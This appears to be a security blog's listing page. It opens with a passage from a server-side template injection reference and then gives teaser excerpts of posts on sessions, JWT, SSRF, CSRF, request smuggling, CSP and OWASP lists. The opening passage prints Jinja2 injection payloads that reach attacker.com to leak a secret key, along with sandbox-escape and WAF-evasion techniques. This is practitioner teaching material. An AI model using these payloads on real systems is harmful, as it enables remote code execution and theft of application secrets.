{​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: β”œβ”€β”€ Python/Jinja2 β”‚ β”œβ”€β”€ __builtins__ access via globals β”‚ β”œβ”€β”€ Class traversal to dangerous modules β”‚ β”œβ”€β”€ Import statement reconstruction β”‚ └── Warning subclass β†’ __builtins__['__import__'] chain β”œβ”€β”€ Java/FreeMarker β”‚ β”œβ”€β”€ ObjectConstructor for arbitrary class instantiation β”‚ β”œβ”€β”€ Static method calls via ?new() β”‚ β”œβ”€β”€ Reflection API abuse β”‚ β”œβ”€β”€ CamelContext.getInjector() + getClassResolver() (Apache Camel) β”‚ └── ScriptEngineManager for Groovy/JavaScript eval β”œβ”€β”€ Java/Thymeleaf β”‚ β”œβ”€β”€ Expression preprocessing (__...__) double-evaluation β”‚ β”œβ”€β”€ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) β”‚ β”œβ”€β”€ "".class.forName() to load arbitrary classes β”‚ └── ReflectionUtils (older versions, now denylisted) β”œβ”€β”€ PHP/Twig β”‚ β”œβ”€β”€ Filter/function registration β”‚ β”œβ”€β”€ Object property access β”‚ β”œβ”€β”€ Include/eval function calls β”‚ └── setEscaper() to redefine escape function as system() (Grav CMS) └── Node.js/Handlebars β”œβ”€β”€ AST Injection via prototype pollution (bypass parser entirely) β”œβ”€β”€ Function constructor via this.constructor.constructor β”œβ”€β”€ Object.prototype.toString override + bind() for RCE └── Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION β†’ SSTI CHAIN: β”œβ”€β”€ Handlebars β”‚ β”œβ”€β”€ Pollute Object.prototype.type = "Program" β”‚ β”œβ”€β”€ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value β”‚ β”œβ”€β”€ Template string bypasses parser (treated as pre-parsed AST) β”‚ └── Compiler executes injected code directly β”œβ”€β”€ Pug β”‚ β”œβ”€β”€ Pollute Object.prototype.block with {type:"Text", val:"<payload>"} β”‚ β”œβ”€β”€ When ast.type is "While", walkAST follows ast.block (uses prototype) β”‚ └── High reliability: any template referencing arguments triggers it └── Detection β”œβ”€β”€ Handlebars: Object.prototype.pendingContent = "<test>" β†’ appears in output └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} β†’ appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {​{'sy'+'stem'}} Character Filtering Unicode/Encoding {​{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {​{lipsum.__globals__}} Quotes Blocked String methods {​{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = β€œf”, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: β”œβ”€β”€ Encoding Variations β”‚ β”œβ”€β”€ URL encoding (%7B%7B) β”‚ β”œβ”€β”€ Unicode encoding (\u007B\u007B) β”‚ └── HTML entity encoding (&lbrace;&lbrace;) β”œβ”€β”€ Structure Manipulation β”‚ β”œβ”€β”€ Whitespace insertion {​{ 7*7 }} β”‚ β”œβ”€β”€ Comment insertion {# comment #} β”‚ └── Nested expressions {​{7*{​{7}}}} β”œβ”€β”€ Payload Fragmentation β”‚ β”œβ”€β”€ Multi-step injection β”‚ β”œβ”€β”€ Context-dependent payloads β”‚ └── Request splitting β”œβ”€β”€ FreeMarker-Specific β”‚ β”œβ”€β”€ ?lower_abc / ?upper_abc character reconstruction β”‚ β”œβ”€β”€ 1.1?c[1] to generate dot character β”‚ └── Numeric built-in abuse to construct arbitrary strings └── Thymeleaf-Specific β”œβ”€β”€ Preprocessor double-evaluation via __${...}__ β”œβ”€β”€ @{} link expression parentheses to clear context └── Server-specific: Jetty allows {} in URL path, Tomcat blocks Thymeleaf sandbox bypass via tab character (CVE-2026-40478) CVSS 9.1, found by pentester Dawid Bakaj. Thymeleaf’s security sandbox β€” the thing that limits what SpEL expressions can do when they evaluate dynamic content β€” was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4. ...

April 10, 2026 Β· Updated October 18, 2026 Β· 18 min Β· Carl Sampson

Session Fixation, Hijacking & the Cookie Flags That Matter: Session Security

Overview πŸ†• Updated September 12, 2026 β€” added the four conditions for CSRF and why cookie flags, not tokens, decide your session threat model. A practitioner’s reference for session management security β€” session attacks, cookie security, token vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern session management from web applications to APIs. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 critical session CVEs including CVE-2026-5707 (AWS RES Root RCE), CVE-2025-55315 (ASP.NET Core), CVE-2025-24813 (Apache Tomcat) covering cloud and enterprise session vulnerabilities. ...

May 2, 2026 Β· Updated October 18, 2026 Β· 6 min Β· Carl Sampson

Business Logic Flaws: Abuse Cases & Testing

πŸ†• Updated September 12, 2026 β€” added the Discuz! X5.0 chain: cross-context token reuse into a race condition into pre-auth RCE, and why a CAPTCHA in front of a race is a cost, not a boundary. Comprehensive Business Logic Flaws Guide A practitioner’s reference for business logic vulnerabilities β€” workflow bypass, race conditions, payment logic flaws, privilege escalation chains, and application context attacks. Includes 27 CVEs disclosed through 2026. πŸ†• Newly Created: May 2, 2026 - Complete new guide built from 339 automated insights covering workflow bypass, race conditions, payment logic, and attack chains with 27 critical CVEs from comprehensive security research analysis. ...

May 2, 2026 Β· Updated September 12, 2026 Β· 9 min Β· Carl Sampson

The OWASP LLM Top 10: A Practitioner's Field Guide

I’ve spent the last couple of years watching teams bolt an LLM onto a product and then look genuinely surprised when it does something dumb, dangerous, or both. The pattern is always the same. Ship first, wonder about security later. So when OWASP put together a Top 10 specifically for LLM applications, I was relieved. Finally there’s a shared vocabulary I can point at during a review instead of explaining prompt injection from scratch for the hundredth time. ...

July 5, 2026 Β· 12 min Β· Carl Sampson

Don't Trust JWT Headers: Algorithm Confusion Attacks Explained

I keep encountering this JWT vulnerability in Python codebases, and it’s particularly concerning because it’s so easily overlooked. Developers implement what appears to be proper JWT authenticationβ€”they validate signatures, check expiration, handle all the edge cases. But there’s one subtle mistake that can completely undermine the entire security model. The issue is trusting the JWT’s own header to determine how to verify it. This is similar to asking someone to specify which method you should use to verify their identity. ...

May 27, 2026 Β· 7 min Β· Carl Sampson

OWASP A01: Broken Access Control Prevention Guide

I’ve been hunting access control bugs for over a decade, and let me tell you - they’re everywhere. When OWASP moved broken access control to #1 in 2025 and merged SSRF into this category, I wasn’t surprised. I was relieved that the security community finally caught up to what I’ve been seeing in the wild. 94% of applications tested have broken access control issues. That’s not a typo - it’s a security apocalypse hiding in plain sight. ...

May 6, 2026 Β· 18 min Β· Carl Sampson

OWASP Top 10 2025 Developer Guide

I’ve been working with the OWASP Top 10 for years, and the 2025 update just dropped some major changes that every developer needs to understand. Supply chain attacks finally made it into the top 10 (as A03), and honestly, it’s about time. I’ve been seeing these attacks destroy companies for the past few years. Here’s the thing about OWASP Top 10 2025: it’s not just updating the old list - it’s completely rethinking modern threats. Security misconfiguration jumped from #5 to #2, and they merged SSRF into broken access control because that’s how attackers actually chain these vulnerabilities together. ...

May 5, 2026 Β· 15 min Β· Carl Sampson

Python SSRF Prevention Guide [2026]

I’ve been hunting SSRF bugs in Python applications for over five years, and the number of vulnerable codebases I encounter is honestly terrifying. Flask apps with requests.get(user_input) scattered everywhere. Django views that blindly fetch URLs from form data. FastAPI endpoints that turn your server into an attacker’s proxy. The worst part? Most developers don’t realize they’re building SSRF vulnerabilities until it’s too late. By then, attackers have already stolen your AWS credentials or mapped your entire internal network. ...

May 1, 2026 Β· 15 min Β· Carl Sampson

CSRF vs SSRF: Key Differences, Examples & Defenses

The one-line difference: CSRF tricks a user’s browser into sending a request the user didn’t intend; SSRF tricks your server into sending a request the attacker chose. CSRF (Cross-Site Request Forgery) SSRF (Server-Side Request Forgery) Who sends the forged request The victim’s browser Your application server Whose trust is abused The site’s trust in the user’s cookies The network’s trust in the server What the attacker needs A logged-in victim to visit their page Any input the server turns into a URL fetch Typical target A state-changing endpoint (POST /transfer, /email/change) Internal hosts, cloud metadata (169.254.169.254), localhost admin ports Attacker sees the response? No, the browser’s same-origin policy hides it Sometimes (full-read SSRF); often blind Worst case Actions taken as the victim: account takeover, transfers Cloud credential theft, internal network access, sometimes RCE Primary defenses CSRF tokens, SameSite cookies, Origin checks Destination allowlist, resolved-IP checks, egress filtering, IMDSv2 CWE CWE-352 CWE-918 OWASP Top 10 Under A01 Broken Access Control A10:2021; merged into A01 in the 2025 list They both have β€œrequest forgery” in the name, so people lump them together. But they’re completely different beasts that’ll bite you in completely different ways, and the defense for one does nothing for the other. I’ve spent way too many nights debugging both, so here’s the side-by-side first, then the detail. ...

May 1, 2026 Β· Updated November 2, 2026 Β· 8 min Β· Carl Sampson

Understanding HTTP Request Smuggling Attacks

HTTP Request Smuggling (HRS) is a powerful web application vulnerability that exploits discrepancies in how different servers or intermediaries parse and handle HTTP requests. This misalignment can allow an attacker to β€œsmuggle” a malicious request through a front-end server (such as a load balancer, proxy, or CDN) so that it is interpreted differently by the back-end server. How HTTP Request Smuggling Works Modern web applications often rely on chains of intermediaries β€” proxies, reverse proxies, CDNs, and application servers. These components must all agree on where one HTTP request ends and the next begins. If they disagree, attackers can craft specially malformed requests that cause desynchronization. ...

September 6, 2025 Β· 3 min Β· Carl Sampson

Content Security Policy Complete Guide [2026]

Content Security Policy (CSP) is a browser security mechanism that controls which resources a web page is allowed to load. By declaring a policy via HTTP header, you tell the browser exactly which scripts, styles, images, fonts, and connections are permitted. Anything not explicitly allowed is blocked. CSP is one of the most effective defenses against Cross-Site Scripting (XSS) and data injection attacks. How CSP Works CSP is delivered as an HTTP response header: ...

February 23, 2023 Β· 8 min Β· Carl Sampson